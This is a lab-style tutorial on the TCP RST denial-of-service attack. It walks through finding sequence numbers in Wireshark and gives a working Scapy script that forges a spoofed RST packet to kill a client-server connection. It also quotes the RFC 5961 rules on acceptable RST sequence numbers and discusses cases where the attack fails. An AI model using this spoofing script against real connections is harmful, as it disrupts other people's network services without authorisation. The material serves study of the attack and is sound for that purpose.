TCP RST Attack

Intro

TCP RST Attack is a type of DoS attack aims to terminate a connection between two parties using spoofed TCP RST packets.

I'll use these scripts: TCP RST Attack scripts to perform the experiment.

Try attack manually with Wireshark and Scapy

Run the server with the listener python script

If I communicate with the server, I'll receive a message "ACK: Message received"

Example:

> nc IP 8080

test test
ACK: Message received

Now with Wireshark, I can check the packets of the client's request and retrieve the last packet to get the correct sequence number to send.

Note: By default you will see the relative sequence number, so to get and send the correct sequence number it's better either to disable this feature from Wireshark or to check better what's the raw sequence number. To disable it: Edit > Preferences > Protocols > TCP > Relative sequence numbers

Example of captured packet: ClientIP ServerIP TCP 66 35470 → 8080 [ACK] Seq=330803533 Ack=966153093 Win=64256 Len=0 TSval=202036259 TSecr=899418563

So we can manually craft the packet to spoof the client and send an RST packet with the correct parameters.

Example python script to craft the packet:

from scapy.all import *
clientTargetIP = "ClientIP"
serverTargetIP = "ServerIP"
macDst = "f4:f4:f4:f4:f4:f4" # it works with gateway's MAC
networkInterface = "wlp2s0"
seqNum = 330803533
sPort = 35470
dPort = 8080

# craft the packet
ip = IP(src=clientTargetIP, dst=serverTargetIP)
tcp = TCP(sport=sPort, dport=dPort, flags='R', seq=seqNum)
eth = Ether(dst=macDst)
pkt = eth/ip/tcp
sendp(pkt, iface = networkInterface, verbose=0)

Now, if I try to send another message to the server, it will prompt me:

read(net): Connection reset by peer

From Wireshark, we can see the crafted packet as: ClientIP ServerIP TCP 54 35470 → 8080 [RST] Seq=330803533 Win=1048576 Len=0

Automatize it

We can write a script in which it will sniff the packets and automatically select the interesting IPs and craft the spoofed RST packet.

Here, an example: Script TCP RST Attack

What can fail?

There are several scenarios in which the attack can fail, for example in an experiment in which we try to terminate the connection in a generic site, the browser will establish immediately another connection and the browsing will work smoothly.

Here are reported some example of attack against video streaming services and in which case the attack can work: TCP RST Video Streaming Report.

What's the correct SEQ number of an RST packet?

According to the RFC's document

[RFC0793] currently requires handling of a segment with the RST bit when in a synchronized state to be processed as follows:

1. If the RST bit is set and the sequence number is outside the current receive window (SEG.SEQ <= RCV.NXT || SEG.SEQ > RCV.NXT+ RCV.WND), silently drop the segment.

2. If the RST bit is set and the sequence number is acceptable, i.e., (RCV.NXT <= SEG.SEQ < RCV.NXT+RCV.WND), then reset the connection.

Instead, implementations SHOULD implement the following steps in place of those specified in [RFC0793] (as listed above).

1. If the RST bit is set and the sequence number is outside the current receive window, silently drop the segment.

2. If the RST bit is set and the sequence number exactly matches the next expected sequence number (RCV.NXT), then TCP MUST reset the connection.

So it depends on the implementation, but if we send a sequence number within the window's size it should work.

Sources

https://stackoverflow.com/questions/74168532/scapy-generated-overly-large-sequence-number-while-actual-setting-is-different https://github.com/ishtiaqniloy/TCP-RST-VideoStreaming/tree/master/Documentation/Final%20Report https://superuser.com/questions/1056492/rst-sequence-number-and-window-size https://www.rfc-editor.org/rfc/rfc5961#section-3.2 https://web.ecs.syr.edu/~wedu/seed/Book/book_sample_tcp.pdf